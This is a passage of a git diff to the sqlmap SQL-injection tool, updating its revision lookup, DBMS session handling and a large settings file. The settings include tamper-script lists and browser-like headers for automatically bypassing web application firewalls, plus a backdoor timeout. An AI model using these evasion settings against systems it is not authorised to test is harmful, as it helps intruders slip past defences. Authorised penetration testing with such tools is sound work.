"r") as f: - content = f.read() - filePath = None - if content.startswith("ref: "): - filePath = os.path.join(_, ".git", content.replace("ref: ", "")).strip() - else: - match = re.match(r"(?i)[0-9a-f]{32}", content) - retVal = match.group(0) if match else None - break - else: + parent = os.path.dirname(directory) + if parent == directory: break + directory = parent + + if filePath: + with openFile(filePath, "r") as f: + content = getText(f.read()).strip() + + if content.startswith("ref: "): + ref_path = content.replace("ref: ", "").strip() + filePath = os.path.join(directory, ".git", ref_path) + + if os.path.exists(filePath): + with openFile(filePath, "r") as f_ref: + content = getText(f_ref.read()).strip() + + match = re.match(r"(?i)[0-9a-f]{40}", content) + retVal = match.group(0) if match else None if not retVal: - process = execute("git rev-parse --verify HEAD", shell=True, stdout=PIPE, stderr=PIPE) - stdout, _ = process.communicate() - match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") - retVal = match.group(0) if match else None + try: + process = subprocess.Popen(["git", "rev-parse", "--verify", "HEAD"], stdout=subprocess.PIPE, stderr=subprocess.PIPE) + stdout, _ = process.communicate() + match = re.search(r"(?i)[0-9a-f]{40}", getText(stdout or "")) + retVal = match.group(0) if match else None + except: + pass return retVal[:7] if retVal else None diff --git a/lib/core/session.py b/lib/core/session.py index 68b4e13a4e8..c26e4dc0951 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import re @@ -25,13 +25,15 @@ def setDbms(dbms): hashDBWrite(HASHDB_KEYS.DBMS, dbms) - _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS])) - _ = re.search("^%s" % _, dbms, re.I) + _ = "(%s)" % ('|'.join(SUPPORTED_DBMS)) + _ = re.search(r"\A%s( |\Z)" % _, dbms, re.I) if _: dbms = _.group(1) Backend.setDbms(dbms) + if kb.resolutionDbms: + hashDBWrite(HASHDB_KEYS.DBMS, kb.resolutionDbms) logger.info("the back-end DBMS is %s" % Backend.getDbms()) diff --git a/lib/core/settings.py b/lib/core/settings.py index 4ded4236a01..8ff5952fc55 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -1,13 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +import codecs import os +import platform +import random import re -import subprocess import string import sys import time @@ -15,83 +17,213 @@ from lib.core.enums import DBMS from lib.core.enums import DBMS_DIRECTORY_NAME from lib.core.enums import OS -from lib.core.revision import getRevisionNumber +from thirdparty import six -# sqlmap version and site -VERSION = "1.0-dev" -REVISION = getRevisionNumber() -VERSION_STRING = "sqlmap/%s%s" % (VERSION, "-%s" % REVISION if REVISION else "-nongit-%s" % time.strftime("%Y%m%d", time.gmtime(os.path.getctime(__file__)))) +# sqlmap version (...) +VERSION = "1.10.7.192" +TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" +TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} +VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) DESCRIPTION = "automatic SQL injection and database takeover tool" -SITE = "http://sqlmap.org" +SITE = "https://sqlmap.org" +DEFAULT_USER_AGENT = "%s (%s)" % (VERSION_STRING, SITE) +DEV_EMAIL_ADDRESS = "dev@sqlmap.org" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" -GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git" +GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git" GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" +WIKI_PAGE = "https://github.com/sqlmapproject/sqlmap/wiki/" +ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master" # colorful banner -BANNER = """\033[01;33m _ - ___ ___| |_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m -|_ -| . | | | .'| . | -|___|_ |_|_|_|_|__,| _| - |_| |_| \033[0m\033[4;37m%s\033[0m\n -""" % ((31 + hash(REVISION) % 6) if REVISION else 30, VERSION_STRING.split('/')[-1], SITE) +BANNER = """\033[01;33m\ + ___ + __H__ + ___ ___[.]_____ ___ ___ \033[01;37m{\033[01;%dm%s\033[01;37m}\033[01;33m +|_ -| . [.] | .'| . | +|___|_ [.]_|_|_|__,| _| + |_|V... |_| \033[0m\033[4;37m%s\033[0m\n +""" % (TYPE_COLORS.get(TYPE, 31), VERSION_STRING.split('/')[-1], SITE) # Minimum distance of ratio from kb.matchRatio to result in True DIFF_TOLERANCE = 0.05 -CONSTANT_RATIO = 0.9 -# Ratio used in heuristic check for WAF/IDS/IPS protected targets -IDS_WAF_CHECK_RATIO = 0.5 - -# Timeout used in heuristic check for WAF/IDS/IPS protected targets -IDS_WAF_CHECK_TIMEOUT = 10 +# Ratio used in heuristic check for WAF/IPS protected targets +IPS_WAF_CHECK_RATIO = 0.5 + +# Timeout used in heuristic check for WAF/IPS protected targets +IPS_WAF_CHECK_TIMEOUT = 10 + +# HTTP status codes a WAF/IPS typically returns when it blocks a request. Used to reject a boolean +# "injection" whose only TRUE/FALSE difference is the always-true payload being blocked (a status-code +# false positive) rather than the back-end actually answering. +WAF_BLOCK_HTTP_CODES = (403, 406, 429, 451, 501, 503) + +# HTTP status signalling that the client is being rate-limited (kept as a literal because Python 2's +# httplib has no such constant) +TOO_MANY_REQUESTS_HTTP_CODE = 429 + +# Adaptive rate-limit handling: one-time backoff used when a rate-limited response carries no usable +# 'Retry-After', the additive step by which the inter-request delay is raised on each hit, and the +# ceiling for both the honored backoff and the auto-throttle (seconds) +RATE_LIMIT_DEFAULT_DELAY = 1.0 +RATE_LIMIT_DELAY_STEP = 0.5 +RATE_LIMIT_MAX_DELAY = 60.0 + +# Candidate tamper scripts for automatic WAF-bypass, ordered by empirical WAF-bypass value +# (structural token-substitution first, camouflage last; per identYwaf data). The back-end DBMS +# is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection +# through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded. +WAF_BYPASS_TAMPERS = ( + "equaltolike", + "between", + "greatest", + "charencode", + "randomcase", + "space2comment", + "versionedkeywords", + "space2hash", +) + +# Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass +WAF_BYPASS_MAX_TRIALS = 8 + +# Browser-like request headers applied alongside the random (non-scanner) User-Agent during +# automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a +# non-browser tell that header/behavioral WAFs key on, so the whole request fingerprint - not just +# the UA - is made to look like a real browser. Kept standard so it cannot skew content negotiation. +WAF_BYPASS_HTTP_HEADERS = ( + ("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"), + ("Accept-Language", "en-US,en;q=0.5"), +) + +# Timeout used in checking for existence of live-cookies file +LIVE_COOKIES_TIMEOUT = 120 # Lower and upper values for match ratio in case of stable page LOWER_RATIO_BOUND = 0.02 UPPER_RATIO_BOUND = 0.98 +# Number of candidate names probed per request while mining for hidden parameters ('--mine-params') +PARAMETER_MINING_BUCKET_SIZE = 25 + +# For filling in case of dumb push updates +DUMMY_JUNK = "Phah5jue" + # Markers for special cases when parameter values contain html encoded characters -PARAMETER_AMP_MARKER = "__AMP__" -PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__" -BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__" +PARAMETER_AMP_MARKER = "__PARAMETER_AMP__" +PARAMETER_SEMICOLON_MARKER = "__PARAMETER_SEMICOLON__" +BOUNDARY_BACKSLASH_MARKER = "__BOUNDARY_BACKSLASH__" +PARAMETER_PERCENTAGE_MARKER = "__PARAMETER_PERCENTAGE__" PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__" PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__" -URI_QUESTION_MARKER = "__QUESTION_MARK__" -ASTERISK_MARKER = "__ASTERISK_MARK__" -REPLACEMENT_MARKER = "__REPLACEMENT_MARK__" +URI_QUESTION_MARKER = "__URI_QUESTION__" +ASTERISK_MARKER = "__ASTERISK__" +REPLACEMENT_MARKER = "__REPLACEMENT__" +BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64__" +BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION__" +SAFE_VARIABLE_MARKER = "__SAFE_VARIABLE__" +SAFE_HEX_MARKER = "__SAFE_HEX__" +DOLLAR_MARKER = "__DOLLAR__" + +RANDOM_INTEGER_MARKER = "[RANDINT]" +RANDOM_STRING_MARKER = "[RANDSTR]" +SLEEP_TIME_MARKER = "[SLEEPTIME]" +INFERENCE_MARKER = "[INFERENCE]" +SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]" +GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]" PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__" CHAR_INFERENCE_MARK = "%c" PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]" +# Regular expression used for extraction of table names (useful for (e.g.) MsAccess) +SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P([\w.]|`[^`<>]+`)+)" + # Regular expression used for recognition of textual content-type TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)" # Regular expression used for recognition of generic permission messages -PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied" +PERMISSION_DENIED_REGEX = r"\b(?P(command|permission|access|user)\s*(was|is|has been)?\s*(denied|forbidden|unauthorized|rejected|not allowed))" + +# Regular expression used in recognition of generic protection mechanisms +GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b" + +# Regular expression used to detect errors in fuzz(y) UNION test +FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|mismatch|comparable|compatible|conversion|convert|failed|error|unexpected" + +# Upper threshold for starting the fuzz(y) UNION test +FUZZ_UNION_MAX_COLUMNS = 10 + +# Maximum number of probe requests the fuzz(y) UNION test may issue (bounds its otherwise exponential type-combination search when run automatically) +FUZZ_UNION_MAX_REQUESTS = 80 # Regular expression used for recognition of generic maximum connection messages -MAX_CONNECTIONS_REGEX = r"max.+connections" +MAX_CONNECTIONS_REGEX = r"\bmax.{1,100}\bconnection" + +# Maximum consecutive connection errors before asking the user if he wants to continue +MAX_CONSECUTIVE_CONNECTION_ERRORS = 15 + +# Timeout before the pre-connection candidate is being disposed (because of high probability that the web server will reset it) +PRECONNECT_CANDIDATE_TIMEOUT = 10 + +# Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support) +PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP", "BaseHTTP") + +# Identify WAF/IPS inside limited number of responses (Note: for optimization purposes) +IDENTYWAF_PARSE_COUNT_LIMIT = 10 + +# Identify WAF/IPS inside limited size of responses +IDENTYWAF_PARSE_PAGE_LIMIT = 4 * 1024 + +# Maximum sleep time in "Murphy" (testing) mode +MAX_MURPHY_SLEEP_TIME = 3 # Regular expression used for extracting results from Google search -GOOGLE_REGEX = r"url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" +GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" + +# Google Search consent cookie +GOOGLE_CONSENT_COOKIE = "CONSENT=YES+shp.gws-%s-0-RC1.%s+FX+740" % (time.strftime("%Y%m%d"), "".join(random.sample(string.ascii_lowercase, 2))) # Regular expression used for extracting results from DuckDuckGo search -DUCKDUCKGO_REGEX = r'"u":"([^"]+)' +DUCKDUCKGO_REGEX = r'([^<]+)

' +# Regular expression used for extracting results from Bing search +BING_REGEX = r'

]+))""" +STRUCTURAL_ID_REGEX = r"""(?si)\bid\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>]+))""" + +# Minimum response size (in bytes) for the 'skip-read' NULL connection method to be used. Unlike +# HEAD/Range, 'skip-read' leaves the body unread and must therefore close the connection (an unread +# body cannot be reused), paying a fresh TCP/TLS handshake per request. That only pays off when +# avoiding the body transfer outweighs the reconnect - i.e. for large responses; for small ones it +# is a net slowdown, so it is gated by this size +NULL_CONNECTION_SKIP_READ_MIN_LENGTH = 256 * 1024 + +# Coarse plausibility band for a NULL connection method's reported length, relative to the known +# original page length (len(kb.originalPage)). A method is accepted only if its length falls within +# it; this rejects a method whose length does not track the real GET response (e.g. HEAD returning +# 'Content-Length: 0', HEAD served from a different code path, or sneaked-in compression). The band +# is deliberately generous (byte-vs-character size and moderate page dynamism are expected, and a +# false reject merely forgoes the optimization, which is safe) - it only catches gross mismatches +NULL_CONNECTION_LENGTH_TOLERANCE_LOW = 0.5 +NULL_CONNECTION_LENGTH_TOLERANCE_HIGH = 4.0 # Regular expression used for recognition of IP addresses -IP_ADDRESS_REGEX = r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b" +IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b" # Regular expression used for recognition of generic "your ip has been blocked" messages -BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block list|firewall)" +BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block\s?list|firewall)" # Dumping characters used in GROUP_CONCAT MySQL technique CONCAT_ROW_DELIMITER = ',' @@ -116,31 +248,57 @@ TIME_DELAY_CANDIDATES = 3 # Default value for HTTP Accept header -HTTP_ACCEPT_HEADER_VALUE = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" +HTTP_ACCEPT_HEADER_VALUE = "*/*" -# Default value for HTTP Accept-Encoding header -HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate" +# Whether the interpreter can decode Zstandard responses (stdlib 'compression.zstd', Python 3.14+ / PEP 784) +try: + import compression.zstd as _zstdModule +except ImportError: + _zstdModule = None +HTTP_ZSTD_AVAILABLE = _zstdModule is not None + +# Default value for HTTP Accept-Encoding header (browser-realistic; 'br' via the in-tree decoder, 'zstd' +# only when the stdlib provides it - never advertise a content-coding we cannot decode) +HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip, deflate, br%s" % (", zstd" if HTTP_ZSTD_AVAILABLE else "") # Default timeout for running commands over backdoor BACKDOOR_RUN_CMD_TIMEOUT = 5 +# Number of seconds to wait for thread finalization at program end +THREAD_FINALIZATION_TIMEOUT = 1 + # Maximum number of techniques used in inject.py/getValue() per one value MAX_TECHNIQUES_PER_VALUE = 2 +# Fraction of the currently displayed progress-bar ETA kept when a fresh estimate arrives (eases the on-screen countdown toward the new value instead of snapping); 0 disables smoothing, higher is smoother but laggier +ETA_DISPLAY_SMOOTHING = 0.5 + # In case of missing piece of partial union dump, buffered array must be flushed after certain size MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 +# Initial number of rows aggregated per request when a full (single-shot) JSON-agg UNION dump is too large and falls back to chunked windowed aggregation (halved adaptively if a chunk response still gets truncated) +JSON_AGG_CHUNK_ROWS = 1000 + +# Maximum size of cache used in @cachedmethod decorator +MAX_CACHE_ITEMS = 1024 + # Suffix used for naming meta databases in DBMS(es) without explicit database name METADB_SUFFIX = "_masterdb" +# Number of times to retry the pushValue during the exceptions (e.g. KeyboardInterrupt) +PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3 + # Minimum time response set needed for time-comparison based on standard deviation MIN_TIME_RESPONSES = 30 +# Maximum time response set used during time-comparison based on standard deviation +MAX_TIME_RESPONSES = 200 + # Minimum comparison ratio set needed for searching valid union column number based on standard deviation MIN_UNION_RESPONSES = 5 # After these number of blanks at the end inference should stop (just in case) -INFERENCE_BLANK_BREAK = 10 +INFERENCE_BLANK_BREAK = 5 # Use this replacement character for cases when inference is not able to retrieve the proper character value INFERENCE_UNKNOWN_CHAR = '?' @@ -148,6 +306,9 @@ # Character used for operation "greater" in inference INFERENCE_GREATER_CHAR = ">" +# Character used for operation "greater or equal" in inference +INFERENCE_GREATER_EQUALS_CHAR = ">=" + # Character used for operation "equals" in inference INFERENCE_EQUALS_CHAR = "=" @@ -160,8 +321,8 @@ # String used for representation of unknown DBMS version UNKNOWN_DBMS_VERSION = "Unknown" -# Dynamicity mark length used in dynamicity removal engine -DYNAMICITY_MARK_LENGTH = 32 +# Dynamicity boundary length used in dynamicity removal engine +DYNAMICITY_BOUNDARY_LENGTH = 20 # Dummy user prefix used in dictionary attack DUMMY_USER_PREFIX = "__dummy__" @@ -169,99 +330,162 @@ # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1 DEFAULT_PAGE_ENCODING = "iso-8859-1" +try: + codecs.lookup(DEFAULT_PAGE_ENCODING) +except LookupError: + DEFAULT_PAGE_ENCODING = "utf8" + +# Marker for program piped input +STDIN_PIPE_DASH = '-' + # URL used in dummy runs DUMMY_URL = "http://foo/bar?id=1" -# System variables -IS_WIN = subprocess.mswindows +# Timeout used during initial websocket (pull) testing +WEBSOCKET_INITIAL_TIMEOUT = 3 # The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos' PLATFORM = os.name PYVERSION = sys.version.split()[0] +IS_WIN = PLATFORM == "nt" +IS_PYPY = platform.python_implementation() == "PyPy" + +# Check if running in terminal +IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno()) # DBMS system databases -MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb") -MYSQL_SYSTEM_DBS = ("information_schema", "mysql") # Before MySQL 5.0 only "mysql" -PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast") -ORACLE_SYSTEM_DBS = ("CTXSYS", "DBSNMP", "DMSYS", "EXFSYS", "MDSYS", "OLAPSYS", "ORDSYS", "OUTLN", "SYS", "SYSAUX", "SYSMAN", "SYSTEM", "TSMSYS", "WMSYS", "XDB") # These are TABLESPACE_NAME +MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB", "distribution", "mssqlsystemresource") +MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys", "ndbinfo") +PGSQL_SYSTEM_DBS = ("postgres", "template0", "template1", "information_schema", "pg_catalog", "pg_toast", "pgagent") +ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL") SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") -ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage",\ - "MSysAccessXML", "MSysModules", "MSysModules2") -FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE",\ - "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS",\ - "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES",\ - "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS",\ - "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS",\ - "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") +ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2", "MSysNavPaneGroupCategories", "MSysNavPaneGroups", "MSysNavPaneGroupToObjects", "MSysNavPaneObjectIDs") +FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", "RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") -SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs") -DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS",\ - "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS") -HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") - +SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs", "tempdb") +DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS", "SYSDEBUG", "SYSINST") +HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOBS") +H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache") +INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") +MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") +DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT") +VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",) +MCKOI_SYSTEM_DBS = ("",) +PRESTO_SYSTEM_DBS = ("information_schema",) +ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) +MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) +CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys") +CLICKHOUSE_SYSTEM_DBS = ("information_schema", "INFORMATION_SCHEMA", "system") +CUBRID_SYSTEM_DBS = ("DBA",) +CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS") +EXTREMEDB_SYSTEM_DBS = ("",) +FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA") +RAIMA_SYSTEM_DBS = ("",) +VIRTUOSO_SYSTEM_DBS = ("",) +SNOWFLAKE_SYSTEM_DBS = ("INFORMATION_SCHEMA",) +SPANNER_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SPANNER_SYS") +HANA_SYSTEM_DBS = ("SYS", "SYSTEM", "_SYS_BI", "_SYS_BIC", "_SYS_REPO", "_SYS_STATISTICS", "_SYS_XS", "HANA_XS_BASE") + +# Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") -MYSQL_ALIASES = ("mysql", "my") -PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") -ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") +MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle", "doris", "starrocks") +PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss", "duckdb") +ORACLE_ALIASES = ("oracle", "orcl", "ora", "or", "dm8") SQLITE_ALIASES = ("sqlite", "sqlite3") -ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access") +ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet") FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb") -MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db") +MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db") SYBASE_ALIASES = ("sybase", "sybase sql server") DB2_ALIASES = ("db2", "ibm db2", "ibmdb2") HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql") +H2_ALIASES = ("h2",) + ("ignite", "apache ignite") +INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") +MONETDB_ALIASES = ("monet", "monetdb",) +DERBY_ALIASES = ("derby", "apache derby",) +VERTICA_ALIASES = ("vertica",) +MCKOI_ALIASES = ("mckoi",) +PRESTO_ALIASES = ("presto",) +ALTIBASE_ALIASES = ("altibase",) +MIMERSQL_ALIASES = ("mimersql", "mimer") +CRATEDB_ALIASES = ("cratedb", "crate") +CUBRID_ALIASES = ("cubrid",) +CLICKHOUSE_ALIASES = ("clickhouse",) +CACHE_ALIASES = ("intersystems cache", "cachedb", "cache", "iris") +EXTREMEDB_ALIASES = ("extremedb", "extreme") +FRONTBASE_ALIASES = ("frontbase",) +RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis") +VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso") +SNOWFLAKE_ALIASES = ("snowflake",) +SPANNER_ALIASES = ("spanner", "google cloud spanner", "google spanner") +HANA_ALIASES = ("hana", "sap hana", "saphana", "hdb") DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES +SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + FRONTBASE_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES + SNOWFLAKE_ALIASES + SPANNER_ALIASES + HANA_ALIASES) SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, 